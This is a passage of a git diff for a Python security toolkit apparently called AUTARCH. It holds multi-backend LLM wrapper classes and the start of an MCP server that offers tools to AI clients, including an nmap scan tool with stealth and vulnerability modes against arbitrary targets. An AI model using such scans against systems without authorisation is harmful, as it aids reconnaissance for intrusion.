'vicuna' + elif 'alpaca' in chat_template.lower(): + chat_format = 'alpaca' + elif 'zephyr' in chat_template.lower(): + chat_format = 'zephyr' + + # Also check model_type or other fields + if not chat_format: + model_type = tc.get('model_type', '').lower() + if 'llama' in model_type: + chat_format = 'llama-2' + elif 'mistral' in model_type: + chat_format = 'mistral-instruct' + + except (json.JSONDecodeError, IOError): + pass + + # If still no format, try config.json + if not chat_format and has_config: + try: + with open(config_json, 'r') as f: + cfg = json.load(f) + + model_type = cfg.get('model_type', '').lower() + architectures = cfg.get('architectures', []) + + # Detect from model_type or architectures + arch_str = ' '.join(architectures).lower() + + if 'llama' in model_type or 'llama' in arch_str: + chat_format = 'llama-2' + elif 'mistral' in model_type or 'mistral' in arch_str: + chat_format = 'mistral-instruct' + elif 'qwen' in model_type or 'qwen' in arch_str: + chat_format = 'chatml' + + except (json.JSONDecodeError, IOError): + pass + + return chat_format, metadata_dir, special_tokens + + def unload_model(self): + """Unload the current model and free resources.""" + if self._model is not None: + del self._model + self._model = None + self._model_path = None + self._metadata_dir = None + self._special_tokens = {} + self._chat_format = None + self._chat_history.clear() + + def generate( + self, + prompt: str, + max_tokens: int = None, + temperature: float = None, + top_p: float = None, + top_k: int = None, + repeat_penalty: float = None, + stop: List[str] = None, + stream: bool = False + ) -> str | Generator[str, None, None]: + """Generate text completion. + + Args: + prompt: The input prompt. + max_tokens: Maximum tokens to generate. Uses config default if None. + temperature: Sampling temperature. Uses config default if None. + top_p: Nucleus sampling parameter. Uses config default if None. + top_k: Top-k sampling parameter. Uses config default if None. + repeat_penalty: Repetition penalty. Uses config default if None. + stop: List of stop sequences. + stream: If True, yields tokens as they're generated. + + Returns: + Generated text string, or generator if stream=True. + + Raises: + LLMError: If no model is loaded or generation fails. + """ + if not self.is_loaded: + raise LLMError("No model loaded. Call load_model() first.") + + # Get defaults from config + settings = self.config.get_llama_settings() + + params = { + 'max_tokens': max_tokens or settings['max_tokens'], + 'temperature': temperature if temperature is not None else settings['temperature'], + 'top_p': top_p if top_p is not None else settings['top_p'], + 'top_k': top_k if top_k is not None else settings['top_k'], + 'repeat_penalty': repeat_penalty if repeat_penalty is not None else settings['repeat_penalty'], + 'stop': stop or [], + 'stream': stream, + } + + try: + if stream: + return self._stream_generate(prompt, params) + else: + response = self._model(prompt, **params) + return response['choices'][0]['text'] + + except Exception as e: + raise LLMError(f"Generation failed: {e}") + + def _stream_generate(self, prompt: str, params: dict) -> Generator[str, None, None]: + """Internal streaming generation method. + + Args: + prompt: The input prompt. + params: Generation parameters. + + Yields: + Token strings as they're generated. + """ + try: + for chunk in self._model(prompt, **params): + token = chunk['choices'][0]['text'] + yield token + except Exception as e: + raise LLMError(f"Streaming generation failed: {e}") + + def chat( + self, + message: str, + system_prompt: str = None, + stream: bool = False, + **kwargs + ) -> str | Generator[str, None, None]: + """Chat-style interaction with conversation history. + + Args: + message: User message. + system_prompt: Optional system prompt (used on first message). + stream: If True, yields tokens as they're generated. + **kwargs: Additional parameters passed to generate(). + + Returns: + Assistant response string, or generator if stream=True. + """ + if not self.is_loaded: + raise LLMError("No model loaded. Call load_model() first.") + + # Initialize with system prompt if provided and history is empty + if system_prompt and not self._chat_history: + self._chat_history.append({ + 'role': 'system', + 'content': system_prompt + }) + + # Add user message to history + self._chat_history.append({ + 'role': 'user', + 'content': message + }) + + # Build prompt from history + prompt = self._build_chat_prompt() + + # Generate response + if stream: + return self._stream_chat(prompt, kwargs) + else: + response = self.generate(prompt, stream=False, **kwargs) + # Clean up response and add to history + response = response.strip() + self._chat_history.append({ + 'role': 'assistant', + 'content': response + }) + return response + + def _stream_chat(self, prompt: str, kwargs: dict) -> Generator[str, None, None]: + """Internal streaming chat method. + + Args: + prompt: The formatted prompt. + kwargs: Generation parameters. + + Yields: + Token strings as they're generated. + """ + full_response = [] + for token in self.generate(prompt, stream=True, **kwargs): + full_response.append(token) + yield token + + # Add complete response to history + response = ''.join(full_response).strip() + self._chat_history.append({ + 'role': 'assistant', + 'content': response + }) + + def _build_chat_prompt(self) -> str: + """Build a chat prompt from conversation history. + + Returns: + Formatted prompt string. + """ + # ChatML-style format (works with many models) + prompt_parts = [] + + for msg in self._chat_history: + role = msg['role'] + content = msg['content'] + + if role == 'system': + prompt_parts.append(f"<|im_start|>system\n{content}<|im_end|>") + elif role == 'user': + prompt_parts.append(f"<|im_start|>user\n{content}<|im_end|>") + elif role == 'assistant': + prompt_parts.append(f"<|im_start|>assistant\n{content}<|im_end|>") + + # Add assistant prompt for generation + prompt_parts.append("<|im_start|>assistant\n") + + return "\n".join(prompt_parts) + + def clear_history(self): + """Clear the conversation history.""" + self._chat_history.clear() + + def get_history(self) -> List[Dict[str, str]]: + """Get the current conversation history. + + Returns: + List of message dictionaries with 'role' and 'content' keys. + """ + return self._chat_history.copy() + + def set_history(self, history: List[Dict[str, str]]): + """Set the conversation history. + + Args: + history: List of message dictionaries. + """ + self._chat_history = history.copy() + + def get_model_info(self) -> Dict[str, Any]: + """Get information about the loaded model. + + Returns: + Dictionary with model information. + """ + if not self.is_loaded: + return {'loaded': False} + + return { + 'loaded': True, + 'model_path': self._model_path, + 'model_name': self.model_name, + 'n_ctx': self._model.n_ctx(), + 'n_vocab': self._model.n_vocab(), + } + + +class TransformersLLM: + """HuggingFace Transformers backend for safetensors models.""" + + def __init__(self, config=None): + self.config = config or get_config() + self._model = None + self._tokenizer = None + self._model_path = None + self._device = None + self._chat_history: List[Dict[str, str]] = [] + + @property + def is_loaded(self) -> bool: + return self._model is not None and self._tokenizer is not None + + @property + def model_name(self) -> str: + if self._model_path: + return Path(self._model_path).name + return "No model loaded" + + def load_model(self, model_path: str = None, verbose: bool = False) -> bool: + """Load a safetensors model using HuggingFace Transformers. + + Args: + model_path: Path to model directory OR HuggingFace model ID + (e.g., 'segolilylabs/Lily-Cybersecurity-7B-v0.2'). + Uses config if not provided. + verbose: Whether to show loading progress. + + Returns: + True if model loaded successfully. + + Raises: + LLMError: If model loading fails. + """ + try: + import torch + from transformers import AutoModelForCausalLM, AutoTokenizer + except ImportError as e: + raise LLMError(f"transformers/torch not installed: {e}\nInstall with: pip install transformers torch") + + # Get model path from config if not provided + if model_path is None: + model_path = self.config.get('transformers', 'model_path', '') + + if not model_path: + raise LLMError("No model path configured. Run setup first.") + + # Determine if this is a local path or HuggingFace model ID + model_id = model_path # For from_pretrained() + is_local = False + + local_path = Path(model_path).expanduser() + if local_path.exists(): + if self._is_valid_model_dir(local_path): + is_local = True + model_id = str(local_path) + else: + raise LLMError(f"Invalid model directory. Expected safetensors files in: {local_path}") + elif '/' in model_path and not model_path.startswith('/'): + # Looks like a HuggingFace model ID (e.g., 'org/model-name') + is_local = False + model_id = model_path + else: + raise LLMError(f"Model not found: {model_path}\nProvide a local path or HuggingFace model ID (e.g., 'segolilylabs/Lily-Cybersecurity-7B-v0.2')") + + settings = self.config.get_transformers_settings() + + if verbose: + display_name = Path(model_id).name if is_local else model_id + print(f"{Colors.CYAN}[*] Loading model: {display_name}{Colors.RESET}") + if not is_local: + print(f"{Colors.DIM} (from HuggingFace Hub/cache){Colors.RESET}") + + try: + # Determine device + if settings['device'] == 'auto': + if torch.cuda.is_available(): + self._device = 'cuda' + elif hasattr(torch.backends, 'mps') and torch.backends.mps.is_available(): + self._device = 'mps' + else: + self._device = 'cpu' + else: + self._device = settings['device'] + + if verbose: + print(f"{Colors.DIM} Device: {self._device}{Colors.RESET}") + + # Determine dtype + if settings['torch_dtype'] == 'auto': + torch_dtype = torch.float16 if self._device != 'cpu' else torch.float32 + elif settings['torch_dtype'] == 'float16': + torch_dtype = torch.float16 + elif settings['torch_dtype'] == 'bfloat16': + torch_dtype = torch.bfloat16 + else: + torch_dtype = torch.float32 + + # Load tokenizer + if verbose: + print(f"{Colors.DIM} Loading tokenizer...{Colors.RESET}") + self._tokenizer = AutoTokenizer.from_pretrained( + model_id, + trust_remote_code=settings['trust_remote_code'] + ) + + # Prepare model loading kwargs + device_map_cfg = settings.get('device_map', 'auto') or 'auto' + model_kwargs = { + 'torch_dtype': torch_dtype, + 'trust_remote_code': settings['trust_remote_code'], + 'device_map': device_map_cfg if self._device != 'cpu' else None, + } + + # Handle quantization — requires bitsandbytes (Linux/CUDA only) + _bnb_ok = False + try: + import bitsandbytes # noqa: F401 + _bnb_ok = True + except (ImportError, Exception): + pass + + if settings['load_in_8bit'] or settings['load_in_4bit']: + if _bnb_ok: + if settings['load_in_8bit']: + model_kwargs['load_in_8bit'] = True + # Enable FP32 CPU offload if requested — required when model layers + # are dispatched to CPU/disk during 8-bit quantization + if settings.get('llm_int8_enable_fp32_cpu_offload', False): + model_kwargs['llm_int8_enable_fp32_cpu_offload'] = True + _llm_logger.info("[LLM] llm_int8_enable_fp32_cpu_offload=True enabled") + if verbose: + print(f"{Colors.DIM} Loading in 8-bit quantization...{Colors.RESET}") + elif settings['load_in_4bit']: + model_kwargs['load_in_4bit'] = True + if verbose: + print(f"{Colors.DIM} Loading in 4-bit quantization...{Colors.RESET}") + else: + _llm_logger.warning( + "[LLM] load_in_8bit/load_in_4bit requested but bitsandbytes is not installed " + "(Windows is not supported). Loading without quantization." + ) + + # Load model + if verbose: + print(f"{Colors.DIM} Loading model weights...{Colors.RESET}") + self._model = AutoModelForCausalLM.from_pretrained( + model_id, + **model_kwargs + ) + + # Move to device if not using device_map + if 'device_map' not in model_kwargs or model_kwargs['device_map'] is None: + self._model = self._model.to(self._device) + + self._model.eval() + self._model_path = model_id + + if verbose: + print(f"{Colors.GREEN}[+] Model loaded successfully{Colors.RESET}") + + return True + + except Exception as e: + self._model = None + self._tokenizer = None + self._model_path = None + raise LLMError(f"Failed to load model: {e}") + + def _is_valid_model_dir(self, path: Path) -> bool: + """Check if directory contains a valid safetensors model.""" + if not path.is_dir(): + return False + + # Check for safetensors files + safetensor_files = list(path.glob("*.safetensors")) + if safetensor_files: + return True + + # Check for model index + index_file = path / "model.safetensors.index.json" + if index_file.exists(): + return True + + # Check for config.json (indicates HF model) + config_file = path / "config.json" + if config_file.exists(): + return True + + return False + + def unload_model(self): + """Unload the current model and free resources.""" + if self._model is not None: + del self._model + self._model = None + if self._tokenizer is not None: + del self._tokenizer + self._tokenizer = None + self._model_path = None + self._device = None + self._chat_history.clear() + + # Clear GPU cache if available + try: + import torch + if torch.cuda.is_available(): + torch.cuda.empty_cache() + except ImportError: + pass + + def generate( + self, + prompt: str, + max_tokens: int = None, + temperature: float = None, + top_p: float = None, + top_k: int = None, + repeat_penalty: float = None, + stop: List[str] = None, + stream: bool = False + ) -> str | Generator[str, None, None]: + """Generate text completion using transformers.""" + if not self.is_loaded: + raise LLMError("No model loaded. Call load_model() first.") + + try: + import torch + except ImportError: + raise LLMError("torch not installed") + + settings = self.config.get_transformers_settings() + + # Tokenize input + inputs = self._tokenizer(prompt, return_tensors="pt") + inputs = {k: v.to(self._device) for k, v in inputs.items()} + + # Generation parameters + gen_kwargs = { + 'max_new_tokens': max_tokens or settings['max_tokens'], + 'temperature': temperature if temperature is not None else settings['temperature'], + 'top_p': top_p if top_p is not None else settings['top_p'], + 'top_k': top_k if top_k is not None else settings['top_k'], + 'repetition_penalty': repeat_penalty if repeat_penalty is not None else settings['repetition_penalty'], + 'do_sample': True, + 'pad_token_id': self._tokenizer.eos_token_id, + } + + # Handle temperature=0 + if gen_kwargs['temperature'] == 0: + gen_kwargs['do_sample'] = False + del gen_kwargs['temperature'] + del gen_kwargs['top_p'] + del gen_kwargs['top_k'] + + try: + if stream: + return self._stream_generate(inputs, gen_kwargs, stop) + else: + with torch.no_grad(): + outputs = self._model.generate(**inputs, **gen_kwargs) + # Decode only the new tokens + response = self._tokenizer.decode( + outputs[0][inputs['input_ids'].shape[1]:], + skip_special_tokens=True + ) + # Handle stop sequences + if stop: + for stop_seq in stop: + if stop_seq in response: + response = response.split(stop_seq)[0] + return response + + except Exception as e: + raise LLMError(f"Generation failed: {e}") + + def _stream_generate(self, inputs: dict, gen_kwargs: dict, stop: List[str] = None) -> Generator[str, None, None]: + """Internal streaming generation using TextIteratorStreamer.""" + try: + import torch + from transformers import TextIteratorStreamer + from threading import Thread + except ImportError as e: + raise LLMError(f"Required packages not installed: {e}") + + streamer = TextIteratorStreamer( + self._tokenizer, + skip_prompt=True, + skip_special_tokens=True + ) + gen_kwargs['streamer'] = streamer + + # Run generation in background thread + thread = Thread(target=lambda: self._model.generate(**inputs, **gen_kwargs)) + thread.start() + + # Yield tokens as they're generated + full_text = "" + for text in streamer: + # Check for stop sequences + if stop: + for stop_seq in stop: + if stop_seq in text: + text = text.split(stop_seq)[0] + yield text + return + full_text += text + yield text + + thread.join() + + def chat( + self, + message: str, + system_prompt: str = None, + stream: bool = False, + **kwargs + ) -> str | Generator[str, None, None]: + """Chat-style interaction with conversation history.""" + if not self.is_loaded: + raise LLMError("No model loaded. Call load_model() first.") + + # Initialize with system prompt if provided and history is empty + if system_prompt and not self._chat_history: + self._chat_history.append({ + 'role': 'system', + 'content': system_prompt + }) + + # Add user message to history + self._chat_history.append({ + 'role': 'user', + 'content': message + }) + + # Build prompt from history + prompt = self._build_chat_prompt() + + # Generate response + if stream: + return self._stream_chat(prompt, kwargs) + else: + response = self.generate(prompt, stream=False, **kwargs) + response = response.strip() + self._chat_history.append({ + 'role': 'assistant', + 'content': response + }) + return response + + def _stream_chat(self, prompt: str, kwargs: dict) -> Generator[str, None, None]: + """Internal streaming chat method.""" + full_response = [] + for token in self.generate(prompt, stream=True, **kwargs): + full_response.append(token) + yield token + + response = ''.join(full_response).strip() + self._chat_history.append({ + 'role': 'assistant', + 'content': response + }) + + def _build_chat_prompt(self) -> str: + """Build a chat prompt from conversation history.""" + # Try to use the tokenizer's chat template if available + if hasattr(self._tokenizer, 'apply_chat_template'): + try: + return self._tokenizer.apply_chat_template( + self._chat_history, + tokenize=False, + add_generation_prompt=True + ) + except Exception: + pass + + # Fallback to ChatML format + prompt_parts = [] + for msg in self._chat_history: + role = msg['role'] + content = msg['content'] + if role == 'system': + prompt_parts.append(f"<|im_start|>system\n{content}<|im_end|>") + elif role == 'user': + prompt_parts.append(f"<|im_start|>user\n{content}<|im_end|>") + elif role == 'assistant': + prompt_parts.append(f"<|im_start|>assistant\n{content}<|im_end|>") + + prompt_parts.append("<|im_start|>assistant\n") + return "\n".join(prompt_parts) + + def clear_history(self): + """Clear the conversation history.""" + self._chat_history.clear() + + def get_history(self) -> List[Dict[str, str]]: + """Get the current conversation history.""" + return self._chat_history.copy() + + def set_history(self, history: List[Dict[str, str]]): + """Set the conversation history.""" + self._chat_history = history.copy() + + def get_model_info(self) -> Dict[str, Any]: + """Get information about the loaded model.""" + if not self.is_loaded: + return {'loaded': False} + + info = { + 'loaded': True, + 'model_path': self._model_path, + 'model_name': self.model_name, + 'device': self._device, + 'backend': 'transformers', + } + + # Add vocab size if available + if hasattr(self._tokenizer, 'vocab_size'): + info['vocab_size'] = self._tokenizer.vocab_size + + return info + + +class ClaudeLLM: + """Claude API backend implementing the same interface as LLM.""" + + def __init__(self, config=None): + self.config = config or get_config() + self._client = None + self._model = None + self._chat_history: List[Dict[str, str]] = [] + + @property + def is_loaded(self) -> bool: + return self._client is not None + + @property + def model_name(self) -> str: + if self._model: + return self._model + return "No model loaded" + + def load_model(self, model_path: str = None, verbose: bool = False) -> bool: + """Initialize the Anthropic client. + + Args: + model_path: Ignored for Claude (model set in config). + verbose: Whether to show status messages. + + Returns: + True if client initialized successfully. + + Raises: + LLMError: If initialization fails. + """ + try: + import anthropic + except ImportError as e: + raise LLMError(f"anthropic package not installed: {e}") + + import os + settings = self.config.get_claude_settings() + api_key = settings['api_key'] or os.environ.get('ANTHROPIC_API_KEY', '') + + if not api_key: + raise LLMError( + "No Claude API key found. Set it in autarch_settings.conf [claude] section " + "or export ANTHROPIC_API_KEY environment variable." + ) + + self._model = settings['model'] + + if verbose: + print(f"{Colors.CYAN}[*] Initializing Claude API: {self._model}{Colors.RESET}") + + try: + self._client = anthropic.Anthropic(api_key=api_key) + if verbose: + print(f"{Colors.GREEN}[+] Claude API ready{Colors.RESET}") + return True + except Exception as e: + self._client = None + self._model = None + raise LLMError(f"Failed to initialize Claude client: {e}") + + def unload_model(self): + """Clear the client and history.""" + self._client = None + self._model = None + self._chat_history.clear() + + def generate( + self, + prompt: str, + max_tokens: int = None, + temperature: float = None, + top_p: float = None, + top_k: int = None, + repeat_penalty: float = None, + stop: List[str] = None, + stream: bool = False + ) -> str | Generator[str, None, None]: + """Generate text from a prompt via Claude API. + + The prompt is sent as a single user message. + """ + if not self.is_loaded: + raise LLMError("Claude client not initialized. Call load_model() first.") + + settings = self.config.get_claude_settings() + + params = { + 'model': self._model, + 'max_tokens': max_tokens or settings['max_tokens'], + 'messages': [{'role': 'user', 'content': prompt}], + } + + temp = temperature if temperature is not None else settings['temperature'] + if temp is not None: + params['temperature'] = temp + if top_p is not None: + params['top_p'] = top_p + if top_k is not None: + params['top_k'] = top_k + if stop: + params['stop_sequences'] = stop + + try: + if stream: + return self._stream_generate(params) + else: + response = self._client.messages.create(**params) + return response.content[0].text + except Exception as e: + raise LLMError(f"Claude generation failed: {e}") + + def _stream_generate(self, params: dict) -> Generator[str, None, None]: + """Internal streaming generation.""" + try: + with self._client.messages.stream(**params) as stream: + for text in stream.text_stream: + yield text + except Exception as e: + raise LLMError(f"Claude streaming failed: {e}") + + def chat( + self, + message: str, + system_prompt: str = None, + stream: bool = False, + **kwargs + ) -> str | Generator[str, None, None]: + """Chat-style interaction with conversation history via Claude API.""" + if not self.is_loaded: + raise LLMError("Claude client not initialized. Call load_model() first.") + + # Store system prompt in history for tracking (same as LLM) + if system_prompt and not self._chat_history: + self._chat_history.append({ + 'role': 'system', + 'content': system_prompt + }) + + # Add user message to history + self._chat_history.append({ + 'role': 'user', + 'content': message + }) + + # Build API call from history + system_text = None + messages = [] + for msg in self._chat_history: + if msg['role'] == 'system': + system_text = msg['content'] + else: + messages.append({'role': msg['role'], 'content': msg['content']}) + + settings = self.config.get_claude_settings() + + params = { + 'model': self._model, + 'max_tokens': kwargs.get('max_tokens', settings['max_tokens']), + 'messages': messages, + } + + if system_text: + params['system'] = system_text + + temp = kwargs.get('temperature', settings['temperature']) + if temp is not None: + params['temperature'] = temp + if 'top_p' in kwargs: + params['top_p'] = kwargs['top_p'] + if 'top_k' in kwargs: + params['top_k'] = kwargs['top_k'] + if 'stop' in kwargs and kwargs['stop']: + params['stop_sequences'] = kwargs['stop'] + + try: + if stream: + return self._stream_chat(params) + else: + response = self._client.messages.create(**params) + text = response.content[0].text.strip() + self._chat_history.append({ + 'role': 'assistant', + 'content': text + }) + return text + except Exception as e: + raise LLMError(f"Claude chat failed: {e}") + + def _stream_chat(self, params: dict) -> Generator[str, None, None]: + """Internal streaming chat method.""" + full_response = [] + try: + with self._client.messages.stream(**params) as stream: + for text in stream.text_stream: + full_response.append(text) + yield text + except Exception as e: + raise LLMError(f"Claude streaming chat failed: {e}") + + response = ''.join(full_response).strip() + self._chat_history.append({ + 'role': 'assistant', + 'content': response + }) + + def clear_history(self): + """Clear the conversation history.""" + self._chat_history.clear() + + def get_history(self) -> List[Dict[str, str]]: + """Get the current conversation history.""" + return self._chat_history.copy() + + def set_history(self, history: List[Dict[str, str]]): + """Set the conversation history.""" + self._chat_history = history.copy() + + def get_model_info(self) -> Dict[str, Any]: + """Get information about the Claude model.""" + if not self.is_loaded: + return {'loaded': False} + + return { + 'loaded': True, + 'model_path': 'Claude API', + 'model_name': self.model_name, + 'backend': 'claude', + } + + +class HuggingFaceLLM: + """HuggingFace Inference API backend implementing the same interface as LLM. + + Uses the huggingface_hub InferenceClient to call HF-hosted models + or any compatible text-generation-inference endpoint. + """ + + def __init__(self, config=None): + self.config = config or get_config() + self._client = None + self._model = None + self._chat_history: List[Dict[str, str]] = [] + + @property + def is_loaded(self) -> bool: + return self._client is not None + + @property + def model_name(self) -> str: + if self._model: + return self._model + return "No model loaded" + + def load_model(self, model_path: str = None, verbose: bool = False) -> bool: + """Initialize the HuggingFace Inference client.""" + try: + from huggingface_hub import InferenceClient + except ImportError as e: + raise LLMError(f"huggingface_hub package not installed: {e}") + + import os + settings = self._get_settings() + api_key = settings.get('api_key', '') or os.environ.get('HF_TOKEN', '') or os.environ.get('HUGGING_FACE_HUB_TOKEN', '') + model = model_path or settings.get('model', 'mistralai/Mistral-7B-Instruct-v0.3') + endpoint = settings.get('endpoint', '') + + self._model = model + + if verbose: + print(f"{Colors.CYAN}[*] Initializing HuggingFace Inference: {self._model}{Colors.RESET}") + if endpoint: + print(f"{Colors.DIM} Endpoint: {endpoint}{Colors.RESET}") + + try: + kwargs = {} + if api_key: + kwargs['token'] = api_key + if endpoint: + kwargs['model'] = endpoint + else: + kwargs['model'] = model + + self._client = InferenceClient(**kwargs) + + if verbose: + print(f"{Colors.GREEN}[+] HuggingFace Inference ready{Colors.RESET}") + return True + except Exception as e: + self._client = None + self._model = None + raise LLMError(f"Failed to initialize HuggingFace client: {e}") + + def _get_settings(self) -> dict: + """Get HuggingFace settings from config.""" + return { + 'api_key': self.config.get('huggingface', 'api_key', fallback=''), + 'model': self.config.get('huggingface', 'model', fallback='mistralai/Mistral-7B-Instruct-v0.3'), + 'endpoint': self.config.get('huggingface', 'endpoint', fallback=''), + 'max_tokens': int(self.config.get('huggingface', 'max_tokens', fallback='1024')), + 'temperature': float(self.config.get('huggingface', 'temperature', fallback='0.7')), + 'top_p': float(self.config.get('huggingface', 'top_p', fallback='0.9')), + } + + def unload_model(self): + """Clear the client and history.""" + self._client = None + self._model = None + self._chat_history.clear() + + def generate( + self, + prompt: str, + max_tokens: int = None, + temperature: float = None, + top_p: float = None, + top_k: int = None, + repeat_penalty: float = None, + stop: List[str] = None, + stream: bool = False + ) -> str | Generator[str, None, None]: + """Generate text via HuggingFace Inference API.""" + if not self.is_loaded: + raise LLMError("HuggingFace client not initialized. Call load_model() first.") + + settings = self._get_settings() + + params = { + 'max_new_tokens': max_tokens or settings['max_tokens'], + 'temperature': temperature if temperature is not None else settings['temperature'], + 'top_p': top_p if top_p is not None else settings['top_p'], + } + if top_k is not None: + params['top_k'] = top_k + if repeat_penalty is not None: + params['repetition_penalty'] = repeat_penalty + if stop: + params['stop_sequences'] = stop + + try: + if stream: + return self._stream_generate(prompt, params) + else: + response = self._client.text_generation( + prompt, + **params + ) + return response + except Exception as e: + raise LLMError(f"HuggingFace generation failed: {e}") + + def _stream_generate(self, prompt: str, params: dict) -> Generator[str, None, None]: + """Internal streaming generation.""" + try: + for token in self._client.text_generation( + prompt, + stream=True, + **params + ): + yield token + except Exception as e: + raise LLMError(f"HuggingFace streaming failed: {e}") + + def chat( + self, + message: str, + system_prompt: str = None, + stream: bool = False, + **kwargs + ) -> str | Generator[str, None, None]: + """Chat-style interaction via HuggingFace Inference API.""" + if not self.is_loaded: + raise LLMError("HuggingFace client not initialized. Call load_model() first.") + + if system_prompt and not self._chat_history: + self._chat_history.append({ + 'role': 'system', + 'content': system_prompt + }) + + self._chat_history.append({ + 'role': 'user', + 'content': message + }) + + # Build messages for chat completion + messages = [] + for msg in self._chat_history: + messages.append({'role': msg['role'], 'content': msg['content']}) + + settings = self._get_settings() + + try: + if stream: + return self._stream_chat(messages, settings, kwargs) + else: + response = self._client.chat_completion( + messages=messages, + max_tokens=kwargs.get('max_tokens', settings['max_tokens']), + temperature=kwargs.get('temperature', settings['temperature']), + ) + text = response.choices[0].message.content.strip() + self._chat_history.append({ + 'role': 'assistant', + 'content': text + }) + return text + except Exception as e: + raise LLMError(f"HuggingFace chat failed: {e}") + + def _stream_chat(self, messages: list, settings: dict, kwargs: dict) -> Generator[str, None, None]: + """Internal streaming chat.""" + full_response = [] + try: + stream = self._client.chat_completion( + messages=messages, + max_tokens=kwargs.get('max_tokens', settings['max_tokens']), + temperature=kwargs.get('temperature', settings['temperature']), + stream=True, + ) + for chunk in stream: + if chunk.choices and chunk.choices[0].delta.content: + text = chunk.choices[0].delta.content + full_response.append(text) + yield text + except Exception as e: + raise LLMError(f"HuggingFace streaming chat failed: {e}") + + response = ''.join(full_response).strip() + self._chat_history.append({ + 'role': 'assistant', + 'content': response + }) + + def clear_history(self): + self._chat_history.clear() + + def get_history(self) -> List[Dict[str, str]]: + return self._chat_history.copy() + + def set_history(self, history: List[Dict[str, str]]): + self._chat_history = history.copy() + + def get_model_info(self) -> Dict[str, Any]: + if not self.is_loaded: + return {'loaded': False} + settings = self._get_settings() + return { + 'loaded': True, + 'model_path': settings.get('endpoint', '') or 'HuggingFace Hub', + 'model_name': self.model_name, + 'backend': 'huggingface', + } + + +# Global LLM instance +_llm_instance = None + + +def get_llm(): + """Get the global LLM instance, auto-loading the model if needed. + + Returns the appropriate backend (LLM, TransformersLLM, ClaudeLLM, or HuggingFaceLLM) based on config. + """ + global _llm_instance + if _llm_instance is None: + config = get_config() + backend = config.get('autarch', 'llm_backend', 'local') + _llm_logger.info(f"[LLM] Initializing backend: {backend}") + + try: + if backend == 'claude': + settings = config.get_claude_settings() + _llm_logger.info(f"[LLM] Claude model: {settings['model']} | API key set: {bool(settings['api_key'])}") + _llm_instance = ClaudeLLM(config) + _llm_instance.load_model() + _llm_logger.info(f"[LLM] Claude client ready: {settings['model']}") + + elif backend == 'transformers': + settings = config.get_transformers_settings() + _llm_logger.info(f"[LLM] Transformers model: {settings['model_path']} | device: {settings['device']}") + _llm_instance = TransformersLLM(config) + if settings['model_path']: + _llm_instance.load_model() + _llm_logger.info(f"[LLM] Transformers model loaded: {settings['model_path']}") + else: + _llm_logger.warning("[LLM] No transformers model path configured — set one in LLM Settings") + + elif backend == 'huggingface': + hf = config.get_huggingface_settings() + _llm_logger.info(f"[LLM] HuggingFace model: {hf['model']} | provider: {hf.get('provider','auto')} | API key set: {bool(hf['api_key'])}") + _llm_instance = HuggingFaceLLM(config) + _llm_instance.load_model() + _llm_logger.info(f"[LLM] HuggingFace client ready: {hf['model']}") + + else: # local / llama.cpp + settings = config.get_llama_settings() + _llm_logger.info(f"[LLM] llama.cpp model: {settings['model_path']} | n_ctx: {settings['n_ctx']} | n_gpu_layers: {settings['n_gpu_layers']} | threads: {settings['n_threads']}") + _llm_instance = LLM(config) + if settings['model_path']: + _llm_instance.load_model() + _llm_logger.info(f"[LLM] llama.cpp model loaded: {settings['model_path']}") + else: + _llm_logger.warning("[LLM] No local model path configured — set one in LLM Settings") + + except Exception as exc: + _llm_logger.error(f"[LLM] Failed to load backend '{backend}': {exc}", exc_info=True) + _llm_instance = None + raise + + return _llm_instance + + +def detect_model_type(path: str) -> str: + """Detect the type of model at the given path. + + Args: + path: Path to model file or directory + + Returns: + 'gguf' for GGUF files, 'transformers' for safetensors directories, + 'unknown' if cannot be determined + """ + path = Path(path).expanduser() + + if not path.exists(): + return 'unknown' + + # Check for GGUF file + if path.is_file(): + if path.suffix.lower() == '.gguf': + return 'gguf' + # Some GGUF files might not have .gguf extension + # Check magic bytes + try: + with open(path, 'rb') as f: + magic = f.read(4) + if magic == b'GGUF': + return 'gguf' + except Exception: + pass + + # Check for transformers/safetensors directory + if path.is_dir(): + # Check for safetensors files + safetensor_files = list(path.glob("*.safetensors")) + if safetensor_files: + return 'transformers' + + # Check for model index + index_file = path / "model.safetensors.index.json" + if index_file.exists(): + return 'transformers' + + # Check for config.json (indicates HF model) + config_file = path / "config.json" + if config_file.exists(): + # Could be safetensors or pytorch + if list(path.glob("*.safetensors")) or (path / "model.safetensors.index.json").exists(): + return 'transformers' + # Check for pytorch files too + if list(path.glob("*.bin")) or (path / "pytorch_model.bin").exists(): + return 'transformers' + + return 'unknown' + + +def reset_llm(): + """Reset the global LLM instance (used when switching backends).""" + global _llm_instance + if _llm_instance is not None: + _llm_logger.info("[LLM] Unloading current model instance") + _llm_instance.unload_model() + _llm_instance = None + _llm_logger.info("[LLM] Instance reset — next call to get_llm() will reload") diff --git a/core/mcp_server.py b/core/mcp_server.py new file mode 100644 index 0000000..c8d8d76 --- /dev/null +++ b/core/mcp_server.py @@ -0,0 +1,585 @@ +""" +AUTARCH MCP Server +Exposes AUTARCH tools via Model Context Protocol (MCP) +for use with Claude Desktop, Claude Code, and other MCP clients. +""" + +import sys +import os +import json +import socket +import subprocess +import threading +from pathlib import Path +from typing import Optional + +# Ensure core is importable +_app_dir = Path(__file__).resolve().parent.parent +if str(_app_dir) not in sys.path: + sys.path.insert(0, str(_app_dir)) + +from core.config import get_config +from core.paths import find_tool, get_app_dir + +# MCP server state +_server_process = None +_server_thread = None + + +def get_autarch_tools(): + """Build the list of AUTARCH tools to expose via MCP.""" + tools = [] + + # ── Network Scanning ── + tools.append({ + 'name': 'nmap_scan', + 'description': 'Run an nmap scan against a target. Returns scan results.', + 'params': { + 'target': {'type': 'string', 'description': 'Target IP, hostname, or CIDR range', 'required': True}, + 'ports': {'type': 'string', 'description': 'Port specification (e.g. "22,80,443" or "1-1024")', 'required': False}, + 'scan_type': {'type': 'string', 'description': 'Scan type: quick, full, stealth, vuln', 'required': False}, + } + }) + + # ── GeoIP Lookup ── + tools.append({ + 'name': 'geoip_lookup', + 'description': 'Look up geographic and network information for an IP address.', + 'params': { + 'ip': {'type': 'string', 'description': 'IP address to look up', 'required': True}, + } + }) + + # ── DNS Lookup ── + tools.append({ + 'name': 'dns_lookup', + 'description': 'Perform DNS lookups for a domain.', + 'params': { + 'domain': {'type': 'string', 'description': 'Domain name to look up', 'required': True}, + 'record_type': {'type': 'string', 'description': 'Record type: A, AAAA, MX, NS, TXT, CNAME, SOA', 'required': False}, + } + }) + + # ── WHOIS ── + tools.append({ + 'name': 'whois_lookup', + 'description': 'Perform WHOIS lookup for a domain or IP.', + 'params': { + 'target': {'type': 'string', 